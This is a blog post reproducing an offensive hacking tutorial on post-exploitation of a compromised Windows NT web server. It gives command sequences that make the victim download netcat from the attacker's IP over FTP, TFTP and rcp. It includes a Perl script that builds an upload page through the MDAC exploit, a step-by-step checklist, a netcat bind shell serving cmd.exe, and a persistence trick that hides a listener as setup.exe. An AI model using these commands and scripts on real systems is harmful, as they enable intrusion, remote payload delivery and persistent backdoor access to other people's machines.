Most books and papers on the matter of hacking always stop at the point where the attacker has gained access to a system. In real life it is here where the real problems begin - usually the machine that has been compromised is located in a DMZ, or even on an offsite network. Another problem could be that the compromised machine has no probing tools or utilities and such tools to work on an unknown platform is not always that easy. This part deals with these issues. Here we assume that a host is already compromised - the attacker has some way of executing a command on the target.
Some hosts are better for launching 2nd phase attacks than others - typically a Linux or FreeBSD host is worth more than a Windows NT webserver. Remember – the idea is to further penetrate a network. Unfortunately, you can not always choose which machines are compromised. Before we start to be platform specific, let us look at things to do when a host is compromised. The first step is to study one's surroundings. With 1:1NAT and other address hiding technologies you can never be too sure where you really are. The following bits of information could help (much of this really common sense, so I wont be explaining *why* you would want to do it):
1. IP number, mask, gateway and DNS servers (all platforms)
2. Routing tables (all platforms)
3. ARP tables (all platforms)
4. The NetBIOS/Microsoft network - hosts and shares(MS)
5. NFS exports (Unix)
6. Trust relationships - .rhosts, /etc/hosts.allow etc. (Unix)
7. Other machines on the network - /etc/hosts , LMHOSTS (all platforms)
All of the above will help to form an idea of the topology of the rest of the network - and as we want to penetrate further within the network its helpful. Let us assume that we have no inside knowledge of the inner network - that is - we don't know where the internal mailserver is located - we don't know where the databases are located etc. With no tools on the host (host as in parasite/host), mapping or penetrating the inner network is going to take very long. We thus need some way of getting a (limited) toolbox on the host. As this is quite platform specific, we start by looking at the more difficult platform - Windows.
We are faced with two distinct different problems - getting the tools on the host, and executing it. Getting the tools on the host could be as easy as FTP-ing it to the host (should a FTP server be running and we have a username and password - or anonymous FTP). What if only port 80 is open?
Here's where things start to become more interesting. The easy way to get software on the host is to FTP it. Typically you will have the toolbox situated on your machine, and the host will FTP it from you. As such you will need an automated FTP script - you cannot open an FTP session directly as it is interactive and you probably do not have that functionality. To build an FTP script execute the following commands:
echo user username_attacker password_attacker > c:\ftp.txt
echo bin >> c:\ftp.txt
echo get tool_eg_nc.exe c:\nc.exe >> c:\ftp.txt
echo quit >> c:\ftp.txt
ftp -n -s:c:\ftp.txt 160.124.19.98
del c:\ftp.txt
Where 160.124.19.98 is your IP number. Remember that you can execute multiple command by appending a "&" between commands. This script is very simple and will not be explained in detail as such. There are some problems with this method though. It makes use of FTP - it might be that active FTP reverse connections are not allowed into the network - NT has no support for passive FTP. It might also be that the machine is simply firewalled and it cannot make connections to the outside. A variation on it is TFTP – much easier. It uses UDP and it could be that the firewall allows UDP to travel within the network. The same it achieved by executing the following on the host:
tftp -I 160.124.19.98 GET tool_eg_nc.exe c:\nc.exe
As there is no redirection of command it makes it a preferred method for certain exploits (remember when no one could figure out how to do redirects with Unicode?). There is yet another way of doing it - this time via rcp (yes NT does have it):
rcp -b 160.124.19.98.roelof:/tool_eg_nc.exe c:\nc.exe
For this to work you will need to have the victim's machine in your .rhosts and rsh service running. Remote copy uses TCP, but there is no reverse connection to be worried about. Above two examples do not use any authentication - make sure you close your firewall and/or services after the attack!
In these examples one always assume that the host (victim) may establish some kind of connection to the attacker's machine. Yet, in some cases the host cannot do this - due to tight firewalling. Thus - the host cannot initiate a connection - the only allowed traffic is coming from outside (and only on selected ports). A tricky situation. Let us assume that we can only execute a command - via something like the MDAC exploit (thus via HTTP(s)). The only way to upload information is thus via HTTP. We can execute a command - we can write a file (with redirection). The idea is thus to write a page - an ASP/HTML page that will facilitate a file upload. This is easier said then done as most servers needs some server side components in order to achieve this. We need an ASP-only page, a page that does not need any server side components. Furthermore we sitting with the problem that most HTML/ASP pages contains characters that will "break" a file redirection - a ">" for instance. The command echo >> c:\inetpub\wwwroot\upload.htm won’t work. Luckily there are some escape characters even in good old DOS. We need a script that will convert all potential difficult" characters into their escaped version, and will then execute an "echo" command - appending it all together to form our page. Such a script (in PERL) looks like this:
#!/usr/local/bin/perl
# usage: convert
open(HTMLFILE,@ARGV[0]) || die "Cannot open!\n";
while(
s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char
s/([\x0D\x0A])//g; # Filter \r, \n chars
s/\|/\^\|chr\(124\)\|/g; # Convert | chars
s/\"/\^\|chr\(34\)\|/g; # Convert " chars
s/\{/\^\|chr\(123\)\|/g; # Convert { chars
s/\&/\^\|chr\(38\)\|/g; # Convert & chars
system "perl rfpnew.pl -h @ARGV[1] -p 80 -C 'echo $_ >> c:\\@ARGV[0]'\n";
}
close (HTMLFILE);
#Spidermark: SensePostdata
This script (which was butchered from some other PERL script by Scrippie/Phreak) takes two arguments - the first is the file that needs to be uploaded, the second the target/victim host's IP number. It makes use of another script - rfpnew.pl - a hack of the popular MDAC exploit by Rain Forrest Puppy with extra functionality to specify the port number and to pass the command to be executed as parameter. The convert script will create a file with the same filename as the one specified in c:\. It simply reads every line from the source file, converts all difficult characters and appends the "converted" line to the file on the target. The PERL script rfpnew.pl (its a nasty hack - don't you dare look at the code) can be found on www.sensepost.com/summercon2001/rfpnew.pl. It don't list it here only because it rather large.
The only part missing here is the actual file that is needed for uploading. After some searches on the Internet, I got hold of a .ASP & .INC file pair that neatly facilitates uploading to a server - without any server side components (credit to those that wrote it - I can not remember where I got it from). Once these two files are "built" (using above script) and transferred into the webroot, one can simply point ones browser to the correct URL and upload a toolbox via HTTP. The files upload.asp and upload.inc is to be found at www.sensepost.com/summercon2001/upload.asp and www.sensepost.com/summercon2001/upload.inc (I don't list them here because they are quite large). Be sure to move the uploaded files to the right spot - keep them in the same directory, and keep the filenames the same -upload.asp and upload.inc, unless you want to meddle with the ASP and INC files.
In a nutshell (for the script kids):
• get upload.asp, upload.inc and rfpnew.pl from the site.
• cut & paste the converter script to convert.pl and put it in the same directory
• perl convert upload.asp
• perl convert upload.inc
• perl rfpnew.pl -h
• perl rfpnew.pl -h
• surf to http://target/upload.asp.
• upload your good stuff
• inhale/exhale
In the same way the upload page can be build using the Unicode bug. I recently wrote a tool called unicodeloader.pl which does exactly that - it builds the upload page with echos using the Unicode bug.
The next step would be to execute something on the host. With the uploader in place, the obvious choice would be to upload netcat, and to thus create a DOS shell. In an environment where the host/target is not tightly firewalled this is a good idea- bind to any closed (non-filtered) port. Where the host/target only has port 80 (or 443) open it becomes more interesting. Netcat (for WinNT) has a "single bind" mode (-l) that will only redirect the next incoming connection to the executor (-e); the connection thereafter will be caught by the webserver. Here timing is of essence - you would want to make sure that you get the very next connection after the single bind was executed. How does one make sure of this? Hping is a tool that has the functionality to display differentials in IP id numbers. Bottom line - if you do a
# hping -r target -p 80 -S
and your relative ID are +1, you know its only you speaking to the host. The higher the relative IDs, the busier the host. If the host is busy you prolly won’t be the next caller..
In a situation where we cannot use netcat, our "tool" needs to be command line driven, and needs to be able to either create files as output, or to output results to standard out - where it can be redirected to a file. These files could simply be created directly into the webroot - in this way the attacker can view her results in a webbrowser. One now begin to understand the merit of command line port scanners (for NT) such as FSCAN.EXE and things like windump that does not need any registry changes or install shields.
(after nc.exe has been uploaded in c:\temp and assuming MDAC exploit) perl rfpnew.pl -h
telnet
Trying
Connected to
Escape character is '^]'.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.
C:\WINNT\system32>
The only thing that netcat really is doing is making it faster and easier to execute command line commands. Netcat also helps in situations where one does not have the luxury of time - such as in the examples where you only have NetBIOS access. To ensure that you keep connectivity with the target you might want to execute a "netcat -L -p 53 -e cmd.exe" sitting in winnt/system32/setup.exe (you could execute it from a batch file and convert the batch file to an EXE). When the host reboots it will be listening on port 53 for incoming connections. All you need to do is to probe port 53 continuously.
No comments:
Post a Comment
hacking tools